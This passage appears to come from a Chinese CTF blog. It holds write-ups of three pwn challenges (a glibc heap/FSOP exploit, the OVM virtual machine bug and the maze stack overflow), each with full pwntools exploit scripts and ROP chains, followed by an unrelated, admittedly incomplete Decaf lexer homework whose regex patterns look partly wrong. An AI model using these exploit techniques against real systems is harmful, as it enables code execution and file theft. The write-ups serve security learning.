0x7f6ef7dc9d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18] <setcontext+61>
  • 把这里修改为 setcontext+61 进行栈迁移(rdx 也是可以控制的)
1
2
3
4
5
6
pwndbg> telescope 0x5620ac902b40+0x18
00:00000x5620ac902b58 —▸ 0x7f6ef7d99a6d (setcontext+61) ◂— mov rsp, qword ptr [rdx + 0xa0]
01:00080x5620ac902b60 ◂— 0x0
... ↓ 4 skipped
06:00300x5620ac902b88 —▸ 0x5620ac902200 ◂— 0x200000001
07:00380x5620ac902b90 ◂— 0x0
  • 最后利用 House Of Kiwi 中的方式 get shell

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './CAT_DE1'

context.os='linux'
#context.log_level = 'debug'
cmd = "set debug-file-directory ./.debug/\n"

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
#p = process(challenge)
p = gdb.debug(challenge,cmd)
else:
p = remote('xx.xx.xx.xx','xx')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x15EF)\n")
#pause()

def cmd(op):
sla(">>",str(op))

def add(size,data="\x00"):
cmd(1)
sla("size:\n",str(size))
sa("content:\n",data)

def edit(index,data):
cmd(4)
sla("idx:\n",str(index))
sa("content:\n",data)

def show(index):
cmd(3)
sla("idx:\n",str(index))

def free(index):
cmd(2)
sla("idx:\n",str(index))

#debug()

add(0x418) #0
add(0x210) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6

free(0)
free(3)
free(5)
free(2)

add(0x440,0x428*'a'+p64(0xc91)) #0
add(0x418) #3 0x2b0

add(0x418) #2 0xd20 - over \x00 to bk/fd
add(0x428) #5 0x370

free(3) # 0x2b0 - bk=0xd20
free(2) # 0xd20

add(0x418,'a'*8+"\x00") #2 修复fd->bk(低位覆盖\x00)
add(0x418) #3

free(3) # 0xd20
free(5) # 0x350 - fd=0xd20

add(0x9f8) #3 make 0x350 to large
add(0x428,'\x00') #5 修复bk->fd(低位覆盖\x00)

edit(6,0x200*'a'+p64(0xc90))
add(0x418) #7
add(0x208) #8

free(3) # unlink
add(0x430,flat(0,0,0,p64(0x421))) #3
add(0x1600) #9

show(4)
p.recvuntil("context:\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-0x21a310
log.success('leak_addr: '+hex(leak_addr))
log.success('libc_base: '+hex(libc_base))

show(5)
p.recvuntil("context:\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
heap=leak_addr-0x290
log.success('leak_addr: '+hex(leak_addr))
log.success('heap_base: '+hex(heap))

setcontext=libc_base+libc.sym['setcontext']+61
open_libc=libc_base+libc.sym['open']
read_libc=libc_base+libc.sym['read']
write_libc=libc_base+libc.sym['write']
success("setcontext >> "+hex(setcontext))

IO_list_all = libc_base+0x21a680
stderr = libc_base+libc.sym['stderr']
IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
success("IO_list_all >> "+hex(IO_list_all))
success("IO_wfile_jumps >> "+hex(IO_wfile_jumps))

pop_rdi_ret=0x000000000002a3e5+libc_base
pop_rsi_ret=0x000000000002be51+libc_base
pop_rdx_pop_rbx_ret=0x0000000000090529+libc_base
ret=0x0000000000029cd6+libc_base
success("pop_rdi_ret >> "+hex(pop_rdi_ret))
success("pop_rsi_ret >> "+hex(pop_rsi_ret))
success("pop_rdx_pop_rbx_ret >> "+hex(pop_rdx_pop_rbx_ret))
success("ret >> "+hex(ret))

next_chain = 0
fake_io_addr = heap + 0x1360 - 0x10
payload_addr = heap
success("fake_io_addr >> "+hex(fake_io_addr))

ORW_addr = heap+0x8e0
flag_addr = heap + 0x8e0 + 0x270

fake_IO_FILE = "/bin/sh\x00" #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(ORW_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x30+0x10) # rax2_addr

chain = p64(ORW_addr)
chain += flat(pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_libc)
chain +=flat(pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_libc)
chain +=flat(pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , write_libc).ljust(0x200,'\x00') + './flag\x00'

add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01)) # padding-不要破坏原来的chunk结构
free(0)
add(0x440,chain) # 0-chain

add(0x418) #11
add(0x208) #12
free(5)
free(4)

add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x21a0d0)*2+p64(heap+0x1350)+p64(IO_list_all-0x20)) #4
free(11)
add(0x500) # largebin attack
add(0x410)
free(4)
add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x21a0d0)*2+p64(heap+0x1350)*2) #4

payload = fake_IO_FILE+p64(flag_addr)
add(0x420,payload) #13

pause()
cmd(5)

p.interactive()

OVM

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=96a6052bb1c224343250eeddc82f0099893fa797, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &reg_pc);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &reg_sp);
getchar();
reg[13] = reg_sp;
reg[15] = reg_pc;
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &size);
getchar();
if ( reg_sp + (unsigned int)size > 0x10000 || !size )
{
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
  • 输入 PC 和 SP 的值
1
2
3
4
5
6
7
8
9
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; size > i; ++i )
{
_isoc99_scanf("%d", &memory[reg_pc + i]);
if ( (memory[i + reg_pc] & 0xFF000000) == 0xFF000000 )
memory[i + reg_pc] = 0xE0000000;
getchar();
}
  • 输入该虚拟机的字节码
1
2
3
4
5
while ( running )
{
op_code = fetch();
execute(op_code);
}
  • 然后在 execute 中执行字节码

漏洞分析

命令 READ 和 WRITE 有负数溢出:

1
2
3
4
case 0x40u:
op = (ssize_t)memory; // WRITE
memory[reg[num3]] = reg[num1];
break;
1
2
3
4
5
else if ( HIBYTE(op_code) == 0x30 )
{
op = (ssize_t)reg; // READ
reg[num1] = memory[reg[num3]];
}
  • 虽然 opcode 的3个操作数 num1,num2,num3 都是无符号的,但是 memory 和 reg 本身存放的是有符号数据
  • 于是 reg[numx] 就可能有负数溢出漏洞

入侵思路

使用 WRITE,READ 和一些辅助命令相互配合,可以泄露 memory 上方的 GOT 表

泄露脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sla("PC: ",str(0x100))
sla("SP: ",str(0x100))
sla("CODE SIZE: ",str(7))

#debug()
p.recvuntil("CODE: ")

mov(0,1)
mov(1,62)
sub(2,0,1)
read(8,2)
sub(2,2,0)
read(9,2)
show()

p.recvuntil("R8: ")
leak_addr1 = eval("0x"+p.recvuntil("\n")[:-1])
p.recvuntil("R9: ")
leak_addr2 = eval("0x"+p.recvuntil("\n")[:-1])
leak_addr = leak_addr1 *0x100000000 + leak_addr2
libc_base = leak_addr - libc.sym['free']
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym['system']
free = libc_base + libc.sym['free']
success("system >> "+hex(system))
success("free >> "+hex(free))

由于 GOT 有 Full RELRO 保护,因此只能用 opcode 计算并劫持 free_hook-8 到全局指针 comment 上,然后通过程序提供的写入完成覆盖

这里可以选择通过 free + offset 的形式获取 free_hook-8

最后写入 bin/sh\x00 + system 就可以 get shell

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0xF48)\n")
pause()

def cmd(op):
p.sendline(str(op))

def mov(rx,data):
payload = 0x10000000 + rx*0x10000 + data
sl(str(payload))

def shl(r1,r2,r3):
payload = 0xc0000000 + r1*0x10000 + r2*0x100 + r3
sl(str(payload))

def add(r1,r2,r3):
payload = 0x70000000 + r1*0x10000 + r2*0x100 + r3
sl(str(payload))

def sub(r1,r2,r3):
payload = 0x80000000 + r1*0x10000 + r2*0x100 + r3
sl(str(payload))

def show():
sl(str(0xf000000000))

def read(r1,r3):
payload = 0x30000000 + r1*0x10000 + r3
sl(str(payload))

def write(r1,r3):
payload = 0x40000000 + r1*0x10000 + r3
sl(str(payload))


sla("PC: ",str(0x10))
sla("SP: ",str(0x10))
sla("CODE SIZE: ",str(24))

#debug()

p.recvuntil("CODE: ")

mov(0,1)#6
mov(1,62)
sub(2,0,1)
read(8,2)
sub(2,2,0)
read(9,2)

mov(0,0x60)#10
mov(1,0x22)
mov(3,0x34)
mov(4,8)
shl(1,1,4)
mov(4,16)
shl(3,3,4)
add(4,0,1)
add(4,4,3)
add(10,4,9)

mov(0,0)
mov(1,8)
sub(2,0,1)
mov(0,1)
write(10,2)
add(2,2,0)
write(8,2)

show()

p.recvuntil("R8: ")
leak_addr1 = eval("0x"+p.recvuntil("\n")[:-1])
p.recvuntil("R9: ")
leak_addr2 = eval("0x"+p.recvuntil("\n")[:-1])
leak_addr = leak_addr1 *0x100000000 + leak_addr2
libc_base = leak_addr - libc.sym['free']
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym['system']
free = libc_base + libc.sym['free']
free_hook = libc_base + libc.sym['__free_hook']
success("system >> "+hex(system))
success("free >> "+hex(free))
success("free_hook >> "+hex(free_hook))

sl("/bin/sh\x00"+p64(system))

"""
[+] free >> 0x7fa41010f540
[+] free_hook >> 0x7fa4104517a8
pwndbg> distance 0x7fa41010f540 0x7fa4104517a8
0x7fa41010f540->0x7fa4104517a8 is 0x342268 bytes (0x6844d words)
"""

p.interactive()

maze

1
2
3
4
5
6
maze: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cd4e6c52445da83a37cbcb13ef31637e4b3cb87, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamicall,NX

漏洞分析

有不完整的后门函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
int win()
{
__int64 buf[6]; // [rsp+0h] [rbp-40h] BYREF
__int16 v2; // [rsp+30h] [rbp-10h]
__int64 fd; // [rsp+38h] [rbp-8h]

fd = open("./flag", 0);
memset(buf, 0, sizeof(buf));
v2 = 0;
read(0, buf, 0LL);
puts("HERE IS YOUR FLAG");
return puts((const char *)buf);
}

程序大体逻辑是走迷宫,提取数据打印出来如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@@@@@@@@@@@@@@@@
@ @@@ @@@@@@
@ @@@ @@@ @@
@ @@@ @@ @@@ @@
@ @@@@ @@ @@@ @@
@ @ @@ @@@ @@
@ @@ @@ @@
@ @@@@@@@ @@@@@@
@ @@@@@@@ @@@@@@
@ @@@@@@@ @@@@
@ @@@ @ @@9@
@ @@@ @@@@@ @ @
@ @@ @@@@@@@@ @
@@ @@ @@@@ @
@@@@@@@@@
@@@@@@@@@@@@@@@
  • 可以发现,迷宫最后一行有一个缺口,导致程序可以“走出迷宫”从而实现栈溢出

入侵思路

走出迷宫的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def a():
sla("YOURSELF!","a")
sla("HERE(y/n)","n")

def d():
sla("YOURSELF!","d")
sla("HERE(y/n)","n")

def s():
sla("YOURSELF!","s")
sla("HERE(y/n)","n")

def w():
sla("YOURSELF!","w")
sla("HERE(y/n)","n")


for i in range(4):
s()

for i in range(4):
d()

s()
d()
d()
for i in range(3):
w()
a()
w()
w()
for i in range(5):
d()
for i in range(4):
s()
for i in range(4):
a()
for i in range(5):
s()
for i in range(4):
a()
for i in range(5):
s()
for i in range(5):
d()
w()
w()
for i in range(5):
d()
s()
for i in range(6):
d()
s()

由于缺乏对 RDX 的控制,因此需要使用 csu 作为跳板

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './maze'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x400C70")
#gdb.attach(p,"b *$rebase(0x269F)\n")
pause()

def cmd(op):
p.sendline(str(op))

def a():
sla("YOURSELF!","a")
sla("HERE(y/n)","n")

def d():
sla("YOURSELF!","d")
sla("HERE(y/n)","n")

def s():
sla("YOURSELF!","s")
sla("HERE(y/n)","n")

def w():
sla("YOURSELF!","w")
sla("HERE(y/n)","n")

def write(key,num):
sla("YOURSELF!",key)
sla("HERE(y/n)","y")
sla("LEAVE!",str(num))
sl("1")
sla("YOURSELF!",key)
sla("HERE(y/n)","y")
sla("LEAVE!",str(0))
sl("1")

for i in range(4):
s()

for i in range(4):
d()

s()
d()
d()
for i in range(3):
w()
a()
w()
w()
for i in range(5):
d()
for i in range(4):
s()
for i in range(4):
a()
for i in range(5):
s()
for i in range(4):
a()
for i in range(5):
s()
for i in range(5):
d()
w()
w()
for i in range(5):
d()
s()
for i in range(6):
d()
s()
d()
d()
d()
d()
d()
d()
#debug()

pop_rdi_ret = 0x0000000000400c93
pop_rsi_pop_r15_ret = 0x0000000000400c91
ret = 0x000000000040060e
flag_addr = 0x400CE0
open = 0x400670
read = 0x602028
puts = 0x400620
bss_addr = 0x602060+0x200
magic1 = 0x400C8A
magic2 = 0x400C70

write("d",pop_rdi_ret)
write("d",flag_addr)
write("d",pop_rsi_pop_r15_ret)
write("d",0)
write("d",0)
write("d",open)
write("d",magic1)
write("d",0)
write("d",1)
write("d",read)
write("d",3)
write("d",bss_addr)
write("d",0x40)
write("d",magic2)
write("d",ret)
write("d",ret)
write("d",ret)
write("d",ret)
write("d",ret)
write("d",ret)
write("d",ret)
write("d",ret)
write("d",pop_rdi_ret)
write("d",bss_addr)
write("d",puts)

sla("YOURSELF!","s")
sla("HERE(y/n)","y")
sla("LEAVE!",str(15))
sl("1")
sla("YOURSELF!","w")
sla("HERE(y/n)","n")
sla("YOURSELF!","s")

p.interactive()

decaflex

本作业的目标是为 Decaf 编程语言编写一个词法分析器

Decaf 中词汇元素的详细信息在 Decaf 规范中:Decaf Programming Language Specification

词法分析器为给定的 Decaf 程序生成令牌流

  • 输入取自标准输入 stdin,将输出令牌流发送到标准输出 stdout
  • 并在标准错误 stderr 流上发出错误

/compilers-class-hw/decaflex/testcases/dev 目录中包含了提供给词法分析器的输入样例

实验描述

使用 Decaf 规范作为指导,完成一个 lex 程序,该程序是 Decaf 语言的词法分析器

请务必遵守以下要求:

  • 如果程序成功解析输入,则应使用 exit(EXIT_SUCCESS) 退出程序,如果您的程序发现词法错误,则应使用 exit(EXIT_FAILURE)
  • 请注意,标记名称和词法值应与目录 testcases 中提供给您的示例输出相同
  • 您必须使用 Decaf 规范的令牌列表部分中提供的令牌名称
  • 必须包含特殊的空格和注释标记:
    • 空格标记应具有包含所有空格字符的词法值
    • 空格和注释词素应将换行符 \n 转换为文本字符串,以便可以从词法分析器输出中恢复每个标记的行号和字符号
  • 提供适当的错误报告,包括检测到错误的行中的行号和位置请注意,它不会检查错误消息的内容,check.py 只会检查词法分析器的返回值

使用 Python 程序在测试用例上运行 zipout.py 解决方案程序,您的解决方案必须在目录 answer 中编译,并且必须调用 decaflex,针对所有测试用例运行,如下所示:

1
python3 zipout.py
  • 这将创建一个名为 output 的目录和一个可以根据参考输出文件进行检查的文件 output.zip
1
python3 check.py 
  • 这将检查您解决方案的准确性

实验步骤

一开始会得到如下的 default.lex 文件:(不完整的解决方案)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
%{

#include <iostream>
#include <cstdlib>

using namespace std;

%}

%%
/*
Pattern definitions for all tokens
*/
func { return 1; }
int { return 2; }
package { return 3; }
\{ { return 4; }
\} { return 5; }
\( { return 6; }
\) { return 7; }
[a-zA-Z\_][a-zA-Z\_0-9]* { return 8; }
[\t\r\a\v\b ]+ { return 9; }
\n { return 10; }
. { cerr << "Error: unexpected character in input" << endl; return -1; }

%%

int main () {
int token;
string lexeme;
while ((token = yylex())) {
if (token > 0) {
lexeme.assign(yytext);
switch(token) {
case 1: cout << "T_FUNC " << lexeme << endl; break;
case 2: cout << "T_INT " << lexeme << endl; break;
case 3: cout << "T_PACKAGE " << lexeme << endl; break;
case 4: cout << "T_LCB " << lexeme << endl; break;
case 5: cout << "T_RCB " << lexeme << endl; break;
case 6: cout << "T_LPAREN " << lexeme << endl; break;
case 7: cout << "T_RPAREN " << lexeme << endl; break;
case 8: cout << "T_ID " << lexeme << endl; break;
case 9: cout << "T_WHITESPACE " << lexeme << endl; break;
case 10: cout << "T_WHITESPACE \\n" << endl; break;
default: exit(EXIT_FAILURE);
}
} else {
if (token < 0) {
exit(EXIT_FAILURE);
}
}
}
exit(EXIT_SUCCESS);
}

实验的目标就是根据 Decaf 规范来补充上述文件中缺失的正则表达式

在补充 default.lex 之前我们可以先编译一下,然后看看它有什么功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  answer git:(master) ✗ ./decaflex
package Test { func main() int { } }
T_PACKAGE package
T_WHITESPACE
T_ID Test
T_WHITESPACE
T_LCB {
T_WHITESPACE
T_FUNC func
T_WHITESPACE
T_ID main
T_LPAREN (
T_RPAREN )
T_WHITESPACE
T_INT int
T_WHITESPACE
T_LCB {
T_WHITESPACE
T_RCB }
T_WHITESPACE
T_RCB }
T_WHITESPACE \n
  • 可以发现:字符串 package Test { func main() int { } } 的每个元素都被拆解为了 token(词法分析器就是这个功能)

非完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
%{

#include <iostream>
#include <cstdlib>

using namespace std;

const char *node_map[]={
"T_AND" ,
"T_ASSIGN" ,
"T_BOOLTYPE" ,
"T_BREAK" ,
"T_CHARCONSTANT" ,
"T_COMMA" ,
"T_COMMENT" ,
"T_CONTINUE" ,
"T_DIV" ,
"T_DOT" ,
"T_ELSE" ,
"T_EQ" ,
"T_EXTERN" ,
"T_FALSE" ,
"T_FOR" ,
"T_FUNC" ,
"T_GEQ" ,
"T_GT" ,
"T_ID" ,
"T_IF" ,
"T_INTCONSTANT" ,
"T_INTTYPE" ,
"T_LCB" ,
"T_LEFTSHIFT" ,
"T_LEQ" ,
"T_LPAREN" ,
"T_LSB" ,
"T_LT" ,
"T_MINUS" ,
"T_MOD" ,
"T_MULT" ,
"T_NEQ" ,
"T_NOT" ,
"T_NULL" ,
"T_OR" ,
"T_PACKAGE" ,
"T_PLUS" ,
"T_RCB" ,
"T_RETURN" ,
"T_RIGHTSHIFT" ,
"T_RPAREN" ,
"T_RSB" ,
"T_SEMICOLON" ,
"T_STRINGCONSTANT" ,
"T_STRINGTYPE" ,
"T_TRUE" ,
"T_VAR" ,
"T_VOID" ,
"T_WHILE" ,
"T_WHITESPACE" ,
"T_WHITESPACE \\n"
};

enum node_kind
{
T_AND ,
T_ASSIGN ,
T_BOOLTYPE ,
T_BREAK ,
T_CHARCONSTANT ,
T_COMMA ,
T_COMMENT ,
T_CONTINUE ,
T_DIV ,
T_DOT ,
T_ELSE ,
T_EQ ,
T_EXTERN ,
T_FALSE ,
T_FOR ,
T_FUNC ,
T_GEQ ,
T_GT ,
T_ID ,
T_IF ,
T_INTCONSTANT ,
T_INTTYPE ,
T_LCB ,
T_LEFTSHIFT ,
T_LEQ ,
T_LPAREN ,
T_LSB ,
T_LT ,
T_MINUS ,
T_MOD ,
T_MULT ,
T_NEQ ,
T_NOT ,
T_NULL ,
T_OR ,
T_PACKAGE ,
T_PLUS ,
T_RCB ,
T_RETURN ,
T_RIGHTSHIFT ,
T_RPAREN ,
T_RSB ,
T_SEMICOLON ,
T_STRINGCONSTANT ,
T_STRINGTYPE ,
T_TRUE ,
T_VAR ,
T_VOID ,
T_WHILE ,
T_WHITESPACE ,
T_WHITESPACE2
};

%}

escaped_char '(\\n|\\r|\\t|\\v|\\f|\\a|\\b|\\)'
normal_char '(a-z|A-Z|0-9)'
arith_char '(\+|\-|\*|\/|\%|\<|\>|\=|\!|\||\&)'
blank_char '(\(|\)|\[|\]|\{|\})'
other_char '(\ |\@|\#|\$|\^|\"|\'|\:|\;|\.|\,|\?|\_|\`|\~)'

all_char {escaped_char}|{normal_char}|{arith_char}|{blank_char}|{other_char}

escaped_str \"[\\n|\\r|\\t|\\v|\\f|\\a|\\b|\\]+\"
normal_str \"[a-z|A-Z|0-9]+\"
arith_str \"[\+|\-|\*|\/|\%|\<|\>|\=|\!|\||\&]+\"
blank_str \"[\(|\)|\[|\]|\{|\}]+\"
other_str \"[\ |\@|\#|\$|\^|\"|\'|\:|\;|\.|\,|\?|\_|\`|\~]+\"

all_str {escaped_str}|{normal_str}|{arith_str}|{blank_str}|{other_str}

decimal_num [0-9]+
hex_num 0(x|X)[0-9a-fA-F]+

normal_id [a-zA-Z\_][a-zA-Z\_0-9]*

%%
/*
Pattern definitions for all tokens
*/

"&&" { return T_AND; }
"=" { return T_ASSIGN; }
"bool" { return T_BOOLTYPE; }
"break" { return T_BREAK; }
{all_char} { return T_CHARCONSTANT; }
{all_str} { return T_STRINGCONSTANT; }
"," { return T_COMMA; }
"comment" { return T_COMMENT; }
"continue" { return T_CONTINUE; }
"/" { return T_DIV; }
"." { return T_DOT; }
"else" { return T_ELSE; }
"==" { return T_EQ; }
"extern" { return T_EXTERN; }
"false" { return T_FALSE; }
"for" { return T_FOR; }
"func" { return T_FUNC; }
">=" { return T_GEQ; }
">" { return T_GT; }
"if" { return T_IF; }
{decimal_num}|{hex_num} { return T_INTCONSTANT; }
"int" { return T_INTTYPE; }
"{" { return T_LCB; }
"<<" { return T_LEFTSHIFT; }
"<=" { return T_LEQ; }
"(" { return T_LPAREN; }
"[" { return T_LSB; }
"<" { return T_LT; }
"-" { return T_MINUS; }
"%" { return T_MOD; }
"*" { return T_MULT; }
"!=" { return T_NEQ; }
"!" { return T_NOT; }
"null" { return T_NULL; }
"||" { return T_OR; }
"package" { return T_PACKAGE; }
"+" { return T_PLUS; }
"}" { return T_RCB; }
"return" { return T_RETURN; }
">>" { return T_RIGHTSHIFT; }
")" { return T_RPAREN; }
"]" { return T_RSB; }
";" { return T_SEMICOLON; }
"string" { return T_STRINGTYPE; }
"true" { return T_TRUE; }
"var" { return T_VAR; }
"void" { return T_VOID; }
"while" { return T_WHILE; }
[\t\r\a\v\b ]+ { return T_WHITESPACE; }
\n { return T_WHITESPACE2; }
{normal_id} { return T_ID; }
